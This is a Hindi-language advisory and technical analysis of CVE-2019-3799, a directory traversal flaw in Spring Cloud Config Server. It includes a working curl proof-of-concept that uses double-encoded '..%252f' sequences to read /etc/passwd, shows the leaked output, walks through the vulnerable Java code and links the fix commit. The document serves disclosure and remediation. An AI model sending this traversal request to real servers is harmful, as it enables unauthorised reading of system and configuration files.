
CVE-2019-3799 - Spring Cloud Config Server: डायरेक्टरी ट्रैवर्सल < 2.1.2, 2.0.4, 1.4.6
स्प्रिंग क्लाउड कॉन्फिग सर्वर < 2.1.2, 2.0.4, 1.4.6 संस्करणों में डायरेक्टरी ट्रैवर्सल / पथ ट्रैवर्सल / फ़ाइल सामग्री प्रकटीकरण की भेद्यता है।
स्प्रिंग क्लाउड कॉन्फिग, संस्करण 2.1.x (2.1.2 से पहले), संस्करण 2.0.x (2.0.4 से पहले), और संस्करण 1.4.x (1.4.6 से पहले), और पुराने असमर्थित संस्करण, स्प्रिंग-क्लाउड-कॉन्फिग-सर्वर मॉड्यूल के माध्यम से एप्लिकेशन को मनमाने कॉन्फ़िगरेशन फ़ाइलों को परोसने की अनुमति देते हैं। एक दुर्भावनापूर्ण उपयोगकर्ता या हमलावर, एक विशेष रूप से तैयार URL का उपयोग करके अनुरोध भेज सकता है जो डायरेक्टरी ट्रैवर्सल हमले का कारण बन सकता है।

Vern ([email protected]) द्वारा पाया गया
सुरक्षा सलाहकार
तकनीकी विश्लेषण
cd spring-cloud-config-server
../mvnw spring-boot:run
curl http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
हमेशा की तरह, दस्तावेज़ीकरण पढ़कर हम प्रासंगिक जानकारी प्राप्त कर सकते हैं:
सादा पाठ फ़ाइल परोसना: https://cloud.spring.io/spring-cloud-static/spring-cloud-config/1.3.1.RELEASE/#_serving_plain_text
कॉन्फिग सर्वर ये एक अतिरिक्त एंडपॉइंट के माध्यम से /{name}/{profile}/{label}/{path} पर प्रदान करता है जहाँ "name", "profile" और "label" का वही अर्थ है जो नियमित एनवायरनमेंट एंडपॉइंट का है, लेकिन "path" एक फ़ाइल नाम है (जैसे log.xml)।
सर्वर ये एक अतिरिक्त एंडपॉइंट के माध्यम से /{name}/{profile}/{label}/{path} पर प्रदान करता है।
दस्तावेज़ से एक और दिलचस्प जानकारी:
VCS आधारित बैकएंड (git, svn) के साथ फ़ाइलें स्थानीय फ़ाइलसिस्टम पर चेक आउट या क्लोन की जाती हैं। डिफ़ॉल्ट रूप से उन्हें config-repo- उपसर्ग के साथ सिस्टम अस्थायी निर्देशिका में रखा जाता है। लिनक्स पर, उदाहरण के लिए यह /tmp/config-repo- हो सकता है।
जब हम http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd भेजते हैं तो क्या होता है:
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
@PathVariable String label, ServletWebRequest request,
@RequestParam(defaultValue = "true") boolean resolvePlaceholders)
throws IOException {
String path = getFilePath(request, name, profile, label);
return retrieve(request, name, profile, label, path, resolvePlaceholders);
}
retrieve फ़ंक्शन findOne को कॉल करता हैsynchronized String retrieve(ServletWebRequest request, String name, String profile,
String label, String path, boolean resolvePlaceholders) throws IOException {
name = resolveName(name);
label = resolveLabel(label);
Resource resource = this.resourceRepository.findOne(name, profile, label, path); // path: ..%2f..%2f..%2f..%2f..%2f../etc/passwd
if (checkNotModified(request, resource)) {
// Content was not modified. Just return.
return null;
}
// ensure InputStream will be closed to prevent file locks on Windows
try (InputStream is = resource.getInputStream()) {
String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
if (resolvePlaceholders) {
Environment environment = this.environmentRepository.findOne(name,
profile, label);
text = resolvePlaceholders(prepareEnvironment(environment), text);
}
return text;
}
}
findOne कॉल किया जाता है:public synchronized Resource findOne(String application, String profile, String label, String path) {
if (StringUtils.hasText(path)) {
String[] locations = this.service.getLocations(application, profile, label).getLocations(); // /tmp/config-repo-<randomid>
try {
for (int i = locations.length; i-- > 0; ) {
String location = locations[i]; // [1]..%2f..%2f..%2f..%2f..%2f../etc/passwd
for (String local : getProfilePaths(profile, path)) {
Resource file = this.resourceLoader.getResource(location).createRelative(local); // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
if (file.exists() && file.isReadable()) {
return file; // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
}
}
}
}
}
catch (IOException e) {
throw new NoSuchResourceException(
"Error : " + path + ". (" + e.getMessage() + ")");
}
}
throw new NoSuchResourceException("Not found: " + path);
}
retrieve StreamUtils.copyToString(is, Charset.forName("UTF-8") के साथ फ़ाइल को पढ़ता है जो /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd को /etc/passwd में बदल देता है जिसके परिणामस्वरूप फ़ाइल /etc/passwd का खुलासा होता है।
फिक्स: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

From 3632fc6f64e567286c42c5a2f1b8142bfde505c2 Mon Sep 17 00:00:00 2001
From: Spencer Gibb <[email protected]>
Date: Tue, 2 Apr 2019 14:16:10 -0400
Subject: [PATCH] Cleans invalid paths
fixes gh-1355
---
.../resource/GenericResourceRepository.java | 165 ++++++++++++++++--
.../GenericResourceRepositoryTests.java | 18 ++
2 files changed, 170 insertions(+), 13 deletions(-)